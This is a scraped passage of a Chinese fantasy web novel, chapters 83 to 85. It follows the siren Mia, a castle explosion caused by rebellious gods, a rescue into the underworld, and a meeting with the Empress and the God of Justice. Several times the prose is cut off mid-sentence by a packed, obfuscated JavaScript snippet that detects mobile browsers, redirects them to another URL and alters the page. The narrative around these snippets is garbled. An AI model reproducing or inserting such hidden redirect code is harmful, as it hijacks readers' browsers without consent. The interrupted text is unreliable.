米娅掩唇笑道:“你们刚刚不是还要见我来着,怎么人到了面前,反而不认识了?” 使者悚然一惊,旖旎遐思退了个干净,“你、你就是……” 他奉命前来,自然知道米娅是谁。 海妖捕杀令虽已废止,海妖在人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在,也该是她站到台前的时候了。 使者微微一笑,双手交叉放在大腿上,抬头看了她一眼,没有回应。 他的轻视显而易见。 怒火涌上心头,尤妮真想冲过去好好给他个教训。 但她忍住了,当然不是说忍气吞声,而是在怒火吞噬理智前,她思考了一瞬,如果米娅是她会怎么做。 她压下怒火,手中变出一根羽毛,轻轻一扔,羽毛像利箭一般射了出去,羽毛边缘擦过使者的脸颊,留下一道血痕,然后深深嵌入那人身后的车壁。 使者根本来不及闪躲,刚听到咻的一声,脸上就一凉,他一摸,指腹染上鲜血,再一转头,羽毛尾端还在震颤。 他终于反应过来刚才发生了什么,害怕地往旁边一缩,指着尤妮怒道:“你、你,你竟敢伤我!” 尤妮掌心又变出一根羽毛,她拿在空中比划着,尾端对准那人的心脏笑道:“伤你?你应该感谢我将手掌抬高了几分。” 使者脸色剧变,猛地站起,恰逢马车碾过石子,带起轻微的抖动,他一个没站稳,又跌坐下去。 “我是、我是亲王殿下的使者,你们不能……” 尤妮一笑,“不能?为何不能?别忘了我们是海妖,不受你们人类规矩的约束。” 使者再也嚣张不起来,看着她的表情跟看见鬼似的,急忙道:“外面那些的确是亲王殿下的安排,但不是针对你们,一直都有的。” “你当我是小孩子好糊弄吗?” 尤妮作势要扔出羽毛。 使者又怒又怕,下意识向后躲。 “行了,尤妮,别吓唬人了。”米娅终于说话了,她神情平静,语调柔和,“道恩子爵,我这妹妹就是喜欢吓唬人,希望你别介意,她现在是海妖一族的首领,我都不大劝得住。” 使者呆呆地看着她,竟然脸一红,“不、不介意。” 尤妮观他神色,心下了然。 哼,又是一个觊觎米娅的无耻之徒。 但她到底没再继续说下去,扔下一句“下不为例”,便闭眼假寐去了。 没了那双空洞的蔚蓝色眼眸的注视,使者心头一松,不禁对米娅生出了些许感激之情。 所以当米娅问他他和卡伦是什么关系的时候,他选择了知无不言。 “我们是同族,我是主家,他是旁系,但关系不远,我们有同一位曾祖父。米娅夫人,我这个堂弟当初在帝都花言巧语骗了不少人,连上一任陛下都给他唬住了,非要给他封官做。可惜他不知珍惜,酒后犯了事,怕被抓到竟跑了。” “你们没想过找他回来?” “当然想过,女皇登基后赦免了他的罪责,我们便一直在找他,哪知道他竟然偷偷跑去了赫尔西岛。”一说起卡伦,使者就直皱眉头。 米娅又问:“他犯了什么事?” 使者道:“私藏禁书。” 83. 暗涌(二) “我们到了。” 马车应声而停。 车窗外,灰白色古堡伫立在一片碧蓝清澈的湖泊中央,宽阔笔直的石桥浮出水面,通向古堡的大门。 建在湖中央的古堡,出自百年前某位建筑大师的杰作,原是皇室避暑之地,十一年前雅克亲王从赫尔西岛回来之后,搬到了此处居住,直到现在。 据说从湖岸边到古堡大门的这一段路,只有女皇和大神官才有殊荣乘车走过,其余人不管是什么身份都要步行通过。 “请稍作等候。” 到了目的地,看见伫立在道路两侧的卫士,使者有了底气,声音不再颤抖,挺直腰板,向她们欠身致意,下了马车。 米娅看向窗外,湖面平静无风,倒映出古堡宏伟的建筑和哥特式的尖顶。 看着比赛欧庄园还要气派。 她们身后,另一辆马车也停了下来,卡伦和休伊从马车上走下来。 等了一会儿,马车又启动了,踏上了那条直通古堡的大道。 他们倒还有点儿自知之明,尤妮心想,她听说过这古堡的破规矩,还以为按照那使者一开始的态度,会叫她们下车走过去。 但一转头,又看见米娅神色凝重,有些不明所以。 “米娅姐姐,你还在想卡伦的事么?” 尤妮实在觉得不可理喻,且不说奥修斯岛没有禁书一说,私藏个禁书,值得将一个颇有些能耐的青年赶出去么? 米娅点点头,“我有些好奇,他藏的是什么书。” 尤妮道:“直接问他不就好了。” 米娅摇摇头,“他不会说的。” 试炼中无数次的轮回里,她和卡伦曾交谈过无数次,但他从没提到过禁书或者任何米娅不知道的内容。 要么,禁书中的内容并不重要,要么,那是他最深的秘密。 米娅直觉,那秘密和以利亚有关。 古堡大门前,马车再次停下,米娅和尤妮一起下了车。 她们终于见到了雅克亲王。 雅克亲王满头白发,佝偻着腰站在窗边,不住地咳嗽。 只看脸的话,是个四五十岁人类该有的衰老程度,可是他的身形,他的气息,都很难不让人怀疑,他已经到了风烛残年的地步。 她在回忆里见过雅克亲王两次。 一次是二十年前,那时雅克亲王还很年轻,傲慢俊秀,名符其实的天之骄子。 一次是十一年前,他已有过度衰老之态,和乌斯一起召唤出了塞奇,结果在塞奇掀起的狂风中昏迷不醒。 她还在试炼里见过他无数次,都不是愉快的经历,有几次,她甚至亲手杀死了他。 雅克亲王却是第一次见她。 “咳咳……米娅祭司,你比我……咳咳咳……料想的更加美丽优雅,难怪他……咳咳……难怪他会为您倾倒。” 他的声音也破碎如风箱,仿佛随时都有可能喘不上气来。 他一开口,米娅就知道这场对话的目的了。 以利亚。 眼前这个生命即将走到尽头的男人,他恨着以利亚。 “你还没有放弃杀他?”面对这个人,米娅实在没法给他好脸色,但也不至于愤怒,她平静地说道,“你找错人了,如果你现在想杀他,我会挡在他面前。” 雅克亲王艰难地摇头,“如今,若我还想对付他,何必行动,只需等待那一天到来罢了。” 米娅脸色一寒,“只怕你等不到那一天。” 雅克亲王一直在断断续续地咳嗽,听到米娅这么说,他咳得更厉害了,似乎要将肺都咳出来,好一会儿,他才继续说:“你说的没错,我也没几天好活了,这也是我要见你的目的,你知道我得的是什么病吗?” 米娅冷笑,“不就是褪离症。” 尤妮默默听着他们说话,这会儿终于忍不住出声,“褪离症不是渡水者才会得的病吗?” 褪离症只会出现在渡水者身上。 得了褪离症的渡水者起初一段时间会异常亢奋,他们将拥有远超自己实力的力量,皮肤通红,眼中充满血丝。 然后,再过一段时间,力量消退,身躯逐渐变得僵硬,先是僵硬得像块石头,行动虽然不变,力量不在,但看起来没有生命危险,再然后,僵硬将发生转变,他们就像一个空的木箱,从外表看上去坚硬无比,但用力攻击,就会像经过火烤的纸张一样变脆,碎裂,化为片片碎片,最后如灰烬一般消失。 通常来说,从力量增长到化为灰烬,这个过程很短暂,最短的仅仅三天,最长的也只有一年。 可是所有人都知道,雅克亲王不是渡水者,他身上的病痛也已经折磨了他很多年。 米娅看雅克亲王那副模样,估摸着他也没力气解释了,便对尤妮说道:“褪离症的本质是渡水者被迫吸收了超过身体承受极限的神力,多余的神力在他们的身体里乱窜,将身体中的一切搅得一团糟。渡水者刚刚出现时,就有人因为神力吸收过多而亡,其实正常情况下,自动吸引的神力达到了身体的阈值,就会停止向身体中灌输,这也是很多渡水者一出生就确定了他们最终能达到的力量巅峰的原因,以及普通人类终其一生都是普通人的原因,他们从一开始对神力的忍受值就为零。可惜,总有人不知满足……” 雅克亲王道:“你知道得真多,是他告诉你的吗?” 米娅不置可否,“你想让我为你治病?我可没这能力。” “我只想多活几天……咳咳咳咳……”雅克亲王又剧烈地咳嗽起来,他不信任任何人,身边一个仆人也没有,米娅和尤妮冷眼旁观,他只能扶着墙,自己慢慢平复,“几个月前,他明明……咳咳……说过我至少还有……咳咳……两年可活。” “他是谁?”米娅挑眉。 之前雅克亲王话里的他都是指以利亚,但这个他显然不是。 病入膏肓的人类慢慢张口,毫无血色的嘴唇蠕动的,无声吐出一个名字。 原来是他。 米娅挑眉,意料之外,情理之中的名字。 她拿出权杖,权杖中心的宝石发出淡淡的光芒,笼罩了整个屋子。 “难得,我们也有目标一致的一天。” *** 天色未明,月亮仍挂在天边。 绿恩岛上最大的教堂,也是整个布里斯帝国教会的中心,被一般教众尊称为圣殿。 圣殿最深处有一间从不对外开放的礼堂,四周无窗,密不透风,只有教会高层才可进入。 往常此处布满了巡逻的守卫,今日却异常安静。 教会大神官独自站立在门口,似乎在等待谁。 不多时,一道修长身影悄无声息走近,大神官为他打开礼堂大门,又默默退了出去。 大门自动关闭,大神官年迈的脸上显出几分忧心来,迈着与年龄不符的步子匆匆离开。 礼堂内部穹顶离地面至少有十米,四面墙壁上每隔一段相同的距离便有一个凹槽,每一个凹槽里都放着一根点燃的蜡烛。 一根烛火光芒微弱,成千上万根烛火的光芒却足以照亮礼堂中央的巨大神像。 神像巍然直立,右手持剑,左手握一盏天平。 标准的正义之神神像。 但仔细看去,神像的脸不似其他地方的肃穆端正,左半边脸怒目圆睁,被几道裂纹贯穿,右半边脸平静祥和,覆盖着一层釉质。 世人不知,这才是正义之神真实的模样。 来人的脚步声回荡在礼堂中。 无风的礼堂,烛火突然开始猛烈摇晃。 神像的脸发出炽盛的光芒,从那光中,飘出一团蓝色的火焰。 火焰飘到来人面前,幻化作人形,恭敬地行礼道:“神主。” 来人微笑道:“这地方倒是不错。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288327|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 火焰感慨道:“人类的进步出乎预料得快,难怪维里希斯女神总说,不要小瞧人类,可惜几百年前众神还意识不到这一点,竟任由人类厮杀,最终招致灭顶之灾。” 来人缓缓道:“攻伐厮杀,并不只见于人类,贸然干涉,并无益处。” 火焰一愣,“神主难道也赞成女神的观念,觉得神明不该干涉人类?” 来人不语,火焰知道他是默认,急道:“即便如此,我等退出人类的生活便是,何必要将力量都收回,神主这是要将我等置于死地。” 来人缓缓走到神像之下,摸着石质的剑刃,“两百年间,你们做过哪些事情需要我一一说明吗,我如何能再相信你们?” 火焰知道自己的劝说终究是失败了,怆然大吼一声,声波震荡,烛火随之摇曳。 它又缩回了神像之中,不多时,神像又亮了起来,这回出来的是一团红色的火焰,红过玫瑰,红过晚霞,也红过血液。 “你来晚了。”来人淡淡道,“祂们绊住了你?” “请神主责罚。”火焰声音沉稳,不见情绪。 火焰中长出无数双眼睛一起睁开,盯着眼前的男人。 很少有人知道,正义之神其实是对孪生兄弟,两兄弟性格迥异,一刚一柔,弟弟刚直莽撞,哥哥温和沉稳。 红色火焰中的灵魂,就是哥哥。 祂居于永恒岛,通过这尊奇异的神像与人类对话。 一个多月前,以利亚恢复前世记忆和大部分力量,特地到永恒岛见了仅存的十位神明一面。 为祂们带来转世后第一道也可能是最后一道命令。 他将回收世间溢散的所有神力,并因此彻底消散。 所有神力,不仅包括渡水者拥有的,也包括现世仅存的十位神明。 神主的命令不可违抗,可享受了两百年巅峰滋味的十神,早就不是两百年前的心性,当时永恒岛异常安静,他却嗅到了不妙的气息。 矛盾将要爆发,只是以利亚在,压得住十神。 彼时,以利亚接着说:“谁有异议?” 十神面面相觑,都不敢言。 等了片刻,见无应答,以利亚命祂看住其余九神,不得离开永恒岛,随后离开。 不知是不是祂的错觉,神主离开时的神情,似乎有些焦急。 祂尚在回想,其余九神就围了上来,都问祂该怎么办,有天生淡泊的,并不在意神力,只想知道永恒花园还会不会恢复,但大部分神明都极反对此事。 以利亚在时,祂们多是惊惧,以利亚一走,这惊愕就变为不满。 “神主这是什么意思?凭什么拉着我们一起去死?” 祂不说话,心道:就算没有神力,我们也有近乎无尽的寿命,比之世间其他存在,不知道好了多少。 也怪自己,这两百多年一直忙着别的事,几乎没有管过永恒岛,致使祂们竟学起了两百多前,操弄人类战争。 想到这里,祂冷声道:“若是你们遵照约定,不轻易插手人类事务,怎会招致神主厌弃。” 河流之神鹰头狮身,闻言甩了甩头,辩解道:“就算我们不插手,难道人类就能和睦共存?” 祂道:“那也不是你们干预的理由。” 众神见祂站在神主一边,纷纷噤了声。 如今想来,当时的噤声并不是被说服了,而且知道辩解不过,干脆也就不说了,暗地里却谋划了起来。 譬如方才,神主召祂前来,祂却被拖住步伐,来的是弟弟。 “责罚就不必了。”以利亚道,“剩下的几个月里,管好祂们。” 祂应了一声,神主要收回神力,祂觉得并无不妥,人类脆弱如斯,依然涌现了许多能与神明比肩的强者,祂们难道还不如人类吗? 祂心里想的一直是另一件事。 “神主,难道真没有别的办法了吗?” 84. 暗涌(三) 莱森没想到会在父亲的古堡中见到米娅。 看到那个熟悉的身影出现在视野之中,周遭的一切忽然都褪色了,世界只余下了她的颜色。 他们上一次见面是风灵节的那个白天,他一时冲动,向她述说了发生在罗尔身上的故事,他想说服她离以利亚远一些。 但他终究是失败了,当他酒醒之后回到宴会上的时候,人们都在谈论着领主大人的情人有多么美丽迷人。 他们说,领主大人和她已经离开了,想必会渡过一个浪漫的夜晚。 挫败、无力、迷茫。 莱森答应了父亲在信中的提议,跟随乌斯一同回到了绿恩岛,他将姓氏又改回了布里斯,所有人都知道他将继承亲王爵位。 他让自己沉迷在帝都繁忙的事务和复杂的人际关系中,尽量避免接触到赫尔西岛的消息。 这并不难。 很多人都怕以利亚,怕他的力量,怕他的冷酷无情。 尽管他们会在背地里关注赫尔西岛的动向,却从不在明面上谈论,仿佛只要不公开说,就不存在这么一个威胁。 而且,从现实来讲,赫尔西岛的消息也很少。 最大的消息,还是他来到了绿恩岛这一条。 父亲告诉他,自己和以利亚之间有很多误会,这一次相邀,就是为了解除误会。 他没说什么,只想着这些天要尽量避开。 听说父亲派了使者去请以利亚,却只请来了卡伦和休伊,他才放心过来,没想到却见到了另一个同样不知该如何面对的身影。 理智告诉他,他该远离她,她已经是他的舅舅的情人,他们之间再无任何可能,身体却先一步行动。 他快步走过去,“米娅,你——你怎么在这,是跟他一起来的吗,你最近还好吗?” 说完,自己都觉得不对,不是说他没过来吗? 米娅也有些意外。 她知道莱森在绿恩岛,但没想到会这么快见面,而且,更奇怪的是,莱森好像还不知道自己是海妖。 她还以为这边皇室都知道了呢。 面对莱森的关心,米娅有些不知道该怎么回应,“我还好,呃,你——” 她的话被一声吸气声打断。 莱森发现了她旁边还有个娇俏的身影,并且注意到了那张脸,那张偶尔还会出现在他噩梦里的脸。 “海妖!!” 莱森拔出武器,周围的守卫见状,虽然不知道发生了什么,也纷纷举起武器。 尤妮嘁了一声,虽然米娅说他是个好人,她对他还是没好印象。 “殿下,海妖已经不是我们的敌人了。”道恩子爵一直守在不远处,见状不妙,连忙走过来提醒他。 莱森脸色苍白,看了尤妮好几眼,总算放下了武器。 这时,从另一个方向匆匆走过来一个仆人,在道恩子爵耳边低语了几句后退到一边。 道恩子爵催促道:“殿下,亲王殿下让您立刻去见他。” “可是——”莱森看着米娅,还想说些什么,顿了一下,终究没能说出口。 莱森走后,米娅也转身离去,踏出古堡大门后,她拒绝了乘坐马车,迈着不急不缓的步子向湖边而去。 湖面有风,吹皱碧水蓝天,古堡的倒影在其间摇晃,仿佛随时都会倒塌。 人类皇室真会给自己挑好地方,米娅默默地想,她都被这美丽的风景吸引了,可惜古堡就差了点儿。 倒不是说古堡建的不好看,而是整座古堡冷清压抑,一走进去,再好的心情也没了。 她正想着,背后突然传来了一声很轻微的响动,像是冬天结着薄冰的湖面上突然站上去了个人,冰面不堪重负开裂的第一声脆响。 咔擦。 她看两侧的守卫毫无反应,知道是自己听力太好的缘故,其实那声音真的很小,说不定是谁咬碎了一块薄饼发出的声音。 咔擦。 声音渐渐大了,守卫的耳朵动了动,他们也听见了,转头看了眼声音传来的方向——古堡内部,同样迷惑不解,同样不甚在意。 “米娅姐姐,这是——” 话说到一半,那声音又响起来了,越来越大,越来越急促,仿佛有什么怪物要破壳而出。 米娅神色凝重地盯着古堡,古堡看起来没什么变化,只有守卫们不安的眼神,泄漏了此刻紧张的氛围。 她抬起右手,权杖浮现,被她握在掌心。 几乎是同一时刻,轰的一声,古堡从深处炸开,碎石向外溅射,一个接一个落到湖面,像下了一场冰雹。 水花高高溅起遮挡视线,米娅右手一挥,湖水升起又聚拢,形成一个又一个球形水罩,将尤妮和人类罩住。 碎石打在水罩上,穿过水罩后,能量被化解,直直落到地上,再无法对人造成伤害。 “就在这待着!”米娅对尤妮喊道,说完,张开双翼,向古堡的方向飞去。 *** 以利亚来到古堡上空时,古堡已经成了一片废墟。 古堡中的守卫和仆人站在废墟边上,一边呼唤着亲王殿下,一边清理碎石,脸上遍布绝望。 他们虽然侥幸活了下来,但要是雅克亲王和莱森有个三长两短,他们依然不会有好下场。 人群之中,有一道身影最是卖力,力气也最大。 “米娅姐姐——” 尤妮大声呼喊着,声音已经开始嘶哑。 “尤妮。”以利亚一眨眼就来到了尤妮身边,“不用喊了,里面没人。” “没人?”尤妮转过头来看向他,高兴的表情还没展开就僵住,自言自语道,“怎么会没人,我明明看见……” “发生了什么事?”以利亚问她。 男人冷静的语调让她也冷静了下来,连忙将不久前的情形告诉他,古堡不明原因爆炸,米娅救了古堡外的人类。 雅克亲王、莱森、休伊、卡伦,还有很多人,都在古堡中没有跑出来。 尤妮看着米娅冲进了倒塌到一半的古堡中,漫天尘土中,尤妮失去了她的踪迹,又出不去水罩,只能眼睁睁看着古堡彻底倒塌。 她以为他们是被埋在了废墟下,可现在以利亚说下面没人,她更加不知所措了。 “会不会在水里?” 尤妮茫然地看向四周,除了废墟,就是湖水。 以利亚摇了摇头,他已经将方圆几公里都感应了一遍,包括湖水中,除了几具陈年尸骨外,哪里都没有米娅他们的踪迹。 “我想我知道他们在哪儿。”以利亚道。 尤妮惊喜地望过去,却见以利亚垂着眼眸,看不清眼中情绪,表情淡淡的,既不见焦急又不见担忧。 尤妮不禁有些生气,米娅姐姐对他那么好,现在生死未卜,他怎么毫无反应。 正想着,以利亚抬眼向她看过来,吩咐道:“女皇待会儿会过来,你将真实情况告诉她,不需要隐瞒。” 说完,不等尤妮反应,他就消失了。 仿佛是为了回应他的话,尤妮耳朵听到远处道路上传来马车的声音,女皇带着皇家卫队过来了。 *** 冥界。 以利亚猜测米娅他们应该在冥界的宫殿中,但他没有选择直接到宫殿,而是来到了归墟的边缘,几个月前米娅第一次来冥界时掉落的地方。 他慢慢向宫殿的方向走去,回想起尤妮的眼神。 她似乎在责怪自己。 担忧? 他当然是担忧的,可惜与尤妮想的不同。 他很清楚,拥有冥界权杖的米娅,在这个世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297547|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上已经没有别的对手了,即使是塞奇,也无法再对她造成伤害。 他更担心的是,米娅一直没有放弃寻找救自己的方法,她若铤而走险…… 一道人影突然出现,向他扑了过来,打断了他的思绪。 以利亚嘴角浮现一抹微笑,张开双臂接住来人,听她抱怨:“你怎么来了冥界不直接去找我,倒在这里散步。” 以利亚笑了笑,抱紧她:“那边人多,我就不去凑热闹了,他们看见我,又该害怕。” 米娅略微有些惊讶。 先前,她冲进正在倒塌的宫殿中,在走廊的一头,看见了另一头被困的人,宫殿中,能跑的都已经跑出去了,只剩下他们慢了一步。 这一步,却是截然不同的结果。 横梁崩塌,巨石挡住了道路,血肉之躯根本无法撼动。 休伊也在其中。 觐见亲王和女皇一样,需要卸下武器,他的重剑放在古堡外,此刻仅凭一双手,不过将巨石挪动开了一条缝,还不足以让人通过。 米娅犯了难。 权杖的力量指挥得动水,却指挥不动岩石。 她倒是可以用歌声震碎石头,但时间不够了,而且古堡即将彻底倒塌,到时候,他们这些人都得被埋在石堆下。 看着手中权杖,米娅急中生智,想了个好办法。 权杖在冥界之外力量大打折扣,但有一点儿却很方便,它可以随时将人拉到冥界中。 于是,当被围困的众人即将被古堡的碎片掩埋时,突然感到了一阵天旋地转,再回过来神来,已经到了一座陌生的宫殿中。 奇形怪状的冥界生物围绕着他们。 有人被吓晕过去,其他人也好不了多少。 又是一阵兵荒马乱,等米娅将他们的情绪全都安抚下来,已经过去了好一阵子。 这时她也感应到以利亚来了冥界,就赶紧过来了。 米娅纳闷,以利亚明明没过去,却将宫殿那边的场景猜了个七七八八。 要不是知道在冥界中他做不到像在外面一样近乎全能,她都要怀疑他能看见宫殿中的情景了。 “怎么不将他们送出去?”以利亚突然问她。 米娅仰头严肃道:“古堡倒塌的时候,我感觉到了神力的波动,你说会不会是渡水者做的?如果真是渡水者,他一定还藏在这些人里面。” 以利亚沉思片刻,此前在废墟上,他也感觉到了那股残存的力量波动,不止一道,他认得它们,“不是渡水者。” 米娅好奇,“那是谁?” “十神中的湖之神。” “十神?祂们不是听你的吗?”米娅疑惑道。 以利亚将他与十神的矛盾娓娓道来,米娅听罢,若有所思,“这么说来,我好像有点儿明白了,今天早上是冲我来的?” 祂们自然无力对抗取回神力的以利亚,于是迂回来抓自己这个以利亚的情人,逼他退步,合情合理。 但再一想又觉得不对,“爆炸发生的时候,我都走出去了,要是我铁了心不回头,爆炸似乎对我也没多大影响。” 以利亚眼眸微冷,“或许他们的目标是休伊他们。” 米娅恍然大悟,“没错,祂们又不知道我在你心中的份量,第一目标肯定是你真正的亲人。” 血浓于水,亲人总是人类最难以割舍的存在,再怎么说,以利亚现在还没有成神,他仍以人类的身份自居。 而爆炸发生的时候,休伊和莱森都在古堡里。 “还好你没事。”以利亚握住她肩膀,低声笑了笑,“还好有你。” “我当然不会有事啦。”他的笑并不轻松,察觉到这一点,米娅扬起一个自信张扬的笑容,愈发抱得紧了几分,“有我在,也绝不会让休伊和莱森出事的。” 85. 暗涌(四) 爆炸的消息被皇室彻底封锁。 古堡远离人烟,只有距离最近的镇子隐约听到了一声巨响,又看到一队皇家卫兵向响声的方向而去。 自从生病以后,雅克亲王愈发孤僻,不容平民接近古堡,镇子上居民知道那是古堡的方向,也不敢去看热闹。 后来镇长出来说,那是烟花的声音,纵有许多疑惑,他们也不得不信。 洛琳女皇抵达古堡的废墟后不久,古堡中失踪的众人出现在了湖边树林中,却对自己如何得救,失踪的时间去了哪里一无所知。 他们只记得被困在古堡中时,一个美得不像人类的女人突然出现,再然后,他们就出现在了树林中。 米娅消除了他们在冥界中的记忆,就连休伊和卡伦也不能幸免,只是在他们来问自己时,如实说了情况。 五天后,女皇的使者又来邀请以利亚和米娅。 这次的理由很充分。 法齐奥家族的使者刚刚抵达绿恩岛,为商量女皇和家族族长的婚事而来,使者是法齐奥家族族长的亲叔叔,曾领兵为帝国出生入死,在帝国境内颇有威望。 为表尊敬,女皇为他准备了一场盛大的接风午宴,整个绿恩岛有头有脸的人物都被邀请参加。 以利亚本不想前去,但米娅好奇,便由着她了。 仿若天作之合的一对璧人在宴会上受到了极高的关注,众人对米娅的身份感到好奇,都被以利亚搪塞过去。 这也是米娅的意思,她已经决心将首领之位交给尤妮,不愿再以海妖的身份出风头。 好在当初为了接近以利亚,她花了很大的功夫伪造人类身份,这方面的伪装倒不是问题。 宴会上,她尽职尽责扮演着一个出身平民却受到宠爱的“情人”该有的样子,举止或许不够优雅端庄,却足够大胆动人,好奇的瞧着周遭的一切。 宴会过后,皇廷安排的各项活动必不可少,比如家眷的下午茶,比如各个贵族的骑马射箭运动等等,总之,怎么奢靡怎么来。 米娅坐在花园中央的凉亭里,紫荆花从白色的大理石柱子上垂下,散发着阵阵清香。 一抬头,以红色为主色调,夹杂着五颜六色的光芒的彩色玻璃覆盖在穹顶之上,微风拂面,花香浓郁,还有精致的点心和怡人的红茶。 怎么看都应该是一个惬意美好的午后。 但因为坐在最中央的人的出现,气氛有些僵硬。 洛琳女皇,布里斯帝国最有权势的人。 她和米娅在试炼中见到的一样,看起来不过二十出头,容貌不算特别美丽,典雅高贵的气质却足够摄人心魄。 洛琳女皇的脸上永远挂着温和疏离的笑容。 她从一个什么都不懂的小女孩开始坐上皇位,迄今已有十年时间,身居高位总是能让人成长,更何况还是最高的位子。 她的心智之成熟远超一个二十岁的少女。 洛琳女皇轻声细语与周围的夫人小姐们交谈,如沐春风的话语很快让人放下了戒备,气氛再度变得融洽起来。 当然,谁也不会冷落了米娅,虽然她名义上只是以利亚的情人,但是谁都知道,以利亚没有妻子,甚至这么多年来只有这么一个情人,还将她带进皇宫中。 她的重要性不言而喻,示好的动作和眼神不断向她袭来。 一群人坐在一起,说着各种各样的场面话,有时花言巧语,有时绵里藏针。 米娅对这种活动喜欢不起来,海妖的生活简单单纯,她们就是对她有意见,也是有话直说。 宴会上得体的微笑,茶话会上恰到好处的对话,完全是出于本能地应对,毕竟曾经为了接近以利亚,她受过许多训练,其中就包括如何应付这种场景。 茶话会没能持续很久。 刚刚开始不久,正事就缠了上来,身为女皇,忙碌总是难以避免。 事实上,众位夫人小姐从一开始就觉得奇怪,女皇陛下为何要纡尊降贵来参加她们的茶话会? 但她们很快就知道了,因为皇女陛下离开之前,点名邀请一人与她同行。 米娅。 用的理由是,她们一见如故,还想再多聊两句。 大家都是聪明人,自然听得出其中深意,于是纷纷告辞离开。 到最后,本来该离开处理政事的女皇却留了下来,凉亭中只剩了她和米娅两个人,女皇的仆从站在凉亭之外,为她们留下足够的空间。 米娅挑了挑眉,这种时候,她更喜欢开门见山,“女皇陛下找我有事?” 洛琳女皇一袭精美华贵的白色长裙,皇冠上的明珠比夜空中的星星还要耀眼,她眼神和善,微微上挑的眼角又在不经意间流露出几分不容置疑的威严。 “米娅祭司,久闻大名。” 米娅摆摆手,“叫我米娅就好,我已经不是祭司了。” 洛琳女皇:“您是一个很好的合作者,我更愿意与您合作。” 米娅挑眉,“你想和海妖合作?那也该去跟尤妮说。” 女皇轻轻地摇头,弯腰将桌上的点心向米娅的方向推了些许,“和海妖合作是之后的打算,今天我想跟您商量另一件事,事关以利亚的生死。” “哦?”米娅轻扯嘴角,不算意外,洛琳女皇千方百计和她单独见面,不是说海妖一族,就是说以利亚,很好猜,难猜的是她的态度,“我还以为你会说得更迂回一点儿呢。” 洛琳女皇微笑致意,“如果是寻常时候,我很乐意这么做,只是现在情况特殊,没有那么多时间了。” “你就不怕以利亚听到,要知道,只要他想,皇宫中任何一点儿风吹草动他都能知道。”米娅又问。 “您在这里,我想他不会这么做,而且,经过五天前的事,我知道您有办法避开他,是吗?” 五天前,她匆匆赶到倒塌的古堡前,见到了尤妮,听说了发生在古堡中的事,便有一个猜想。 米娅拥有超出他们对海妖一族了解的特殊力量。 那力量,或许连以利亚也要忌惮。 米娅脸色一沉,“你想做什么,难道你还想杀他?” “曾经想,现在……不敢。” 她倒是很实诚。 米娅笑了笑,她不讨厌她,不过,她要是想对以利亚不利,她也绝不会放过她就是了,“那你想做什么?” 女皇一直注视着她,美艳的海妖有一双格外动人的眸子,“米娅,你真的很特别。” 米娅笑意略减,“既然时间不多,现在恐怕不是说这些的时候,女皇有什么话还是直说吧。” 洛琳女皇神色一僵,而后快速点了点头,向侍立在一旁的仆从使了个眼色,仆从走上前来,打开一个流光溢彩的玻璃盒。 盒中飘出一簇蓝色的火焰。 “向您致意。” 一个陌生男人的声音,雄浑厚重,叫人联想到神殿里庄严肃穆的雕像。 米娅觑着他,藏在袖子里的手暗暗捏紧。 她不认识他,但她总觉得,她应该知道他。 短暂的沉默后,米娅点了点头,“你就是正义之神?哥哥还是弟弟?等等,让我猜一猜,你应该是弟弟。” “是的。”火焰声音平静,“我的兄长从不忤逆神主,如果是他出现在这里,只会是抓我回去受罚。” 受罚? 米娅心思一转,明白了什么,“你也参与了五天前的爆炸?” “是。”火焰答得简单,“我不在场,但湖之神的行动确实得到了我的同意,听说祂做得有些过分,容我代祂致歉。” 米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297548|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娅冷笑,“你们道歉的对象不该是我,若我当时不在,会有多少无辜之人受牵连身亡?” 火焰却道:“祂们为雅克做事,本就不算无辜。” 米娅撇了撇嘴角:“未经审判定罪,这就是你所谓的正义吗?” 布里斯帝国早就禁止了奴隶买卖,古堡中大部分都是生活困窘的平民,来帮佣拿份工钱维持生活罢了,没有资格也没有能力参与上层的争斗。 火焰沉默不语。 米娅有些明白为何以利亚要拿走祂们的神力了。 “古堡中被爆炸牵连的人,皇室会安抚补偿他们。”洛琳女皇突然开口,“我觉得,这个话题不是我们此次会见的目的。” 目的,对,他们的目的其实是—— “我们都希望神主活着。” 